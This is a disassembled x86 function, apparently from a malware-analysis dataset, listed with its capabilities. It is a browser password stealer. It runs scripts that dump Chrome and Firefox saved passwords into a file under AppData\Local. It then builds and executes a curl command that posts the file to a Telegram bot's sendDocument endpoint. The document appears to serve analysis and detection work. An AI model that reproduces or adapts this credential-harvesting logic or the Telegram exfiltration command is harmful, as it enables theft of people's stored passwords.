Function at 0x401460
Capabilities:
Execute command
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x750
call sym.___main
mov dword [esp + 0x74c], 0x40b064
mov dword [esp + 0x748], 0x40b073
mov dword [esp], str.USERPROFILE
call sym._getenv
mov dword [esp + 0x744], eax
cmp dword [esp + 0x744], 0
jne 0x4014ba
mov dword [esp], str.Failed_to_get_user_profile
call sym._perror
mov eax, 1
jmp 0x401766
mov eax, dword [esp + 0x744]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sAppDataLocal_storedpass.txt
mov dword [esp + 4], 0x200
lea eax, [esp + 0x42c]
mov dword [esp], eax
call sym.___mingw_snprintf
mov dword [esp + 4], 0x40b0d4
lea eax, [esp + 0x42c]
mov dword [esp], eax
call sym._fopen
mov dword [esp + 0x740], eax
cmp dword [esp + 0x740], 0
jne 0x401522
mov dword [esp], str.Failed_to_open_file_for_writing
call sym._perror
mov eax, 1
jmp 0x401766
mov dword [esp + 4], 0x40b0f8
mov eax, dword [esp + 0x74c]
mov dword [esp], eax
call sym._popen
mov dword [esp + 0x73c], eax
cmp dword [esp + 0x73c], 0
jne 0x40156f
mov dword [esp], str.Failed_to_run_script1
call sym._perror
mov eax, dword [esp + 0x740]
mov dword [esp], eax
call sym._fclose
mov eax, 1
jmp 0x401766
mov eax, dword [esp + 0x740]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x18
mov dword [esp + 4], 1
mov dword [esp], str.Chrome_saved_passwords:_n
call sym._fwrite
jmp 0x4015b2
mov eax, dword [esp + 0x740]
mov dword [esp + 4], eax
lea eax, [esp + 0x6ac]
mov dword [esp], eax
call sym._fputs
mov eax, dword [esp + 0x73c]
mov dword [esp + 8], eax
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [esp + 0x6ac]
mov dword [esp], eax
call sym._fgets
test eax, eax
jne 0x401598
mov eax, dword [esp + 0x73c]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 4], 0x40b0f8
mov eax, dword [esp + 0x748]
mov dword [esp], eax
call sym._popen
mov dword [esp + 0x738], eax
cmp dword [esp + 0x738], 0
jne 0x401634
mov dword [esp], str.Failed_to_run_script2
call sym._perror
mov eax, dword [esp + 0x740]
mov dword [esp], eax
call sym._fclose
mov eax, 1
jmp 0x401766
mov eax, dword [esp + 0x740]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1a
mov dword [esp + 4], 1
mov dword [esp], str._nFirefox_saved_passwords:_n
call sym._fwrite
jmp 0x401677
mov eax, dword [esp + 0x740]
mov dword [esp + 4], eax
lea eax, [esp + 0x62c]
mov dword [esp], eax
call sym._fputs
mov eax, dword [esp + 0x738]
mov dword [esp + 8], eax
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [esp + 0x62c]
mov dword [esp], eax
call sym._fgets
test eax, eax
jne 0x40165d
mov eax, dword [esp + 0x738]
mov dword [esp], eax
call sym._fclose
mov eax, dword [esp + 0x740]
mov dword [esp], eax
call sym._fclose
lea eax, [esp + 0x42c]
mov dword [esp + 4], eax
mov dword [esp], str.Passwords_saved_to__s_n
call sym._printf
mov dword [esp + 0x734], 0x40b174
mov dword [esp + 0x730], 0x40b1a3
lea eax, [esp + 0x42c]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x730]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x734]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.curl__X_POST_https:__api.telegram.org_bot_s_sendDocument__F_chat_id_s__F_document___s_
mov dword [esp + 4], 0x400
lea eax, [esp + 0x2c]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [esp + 0x2c]
mov dword [esp], eax
call sym._system
mov dword [esp + 0x72c], eax
cmp dword [esp + 0x72c], 0
je 0x401755
mov dword [esp], str.Failed_to_send_file_to_Telegram
call sym._perror
mov eax, 1
jmp 0x401766
mov dword [esp], str.File_sent_to_Telegram_successfully_
call sym._puts
mov eax, 0
leave
ret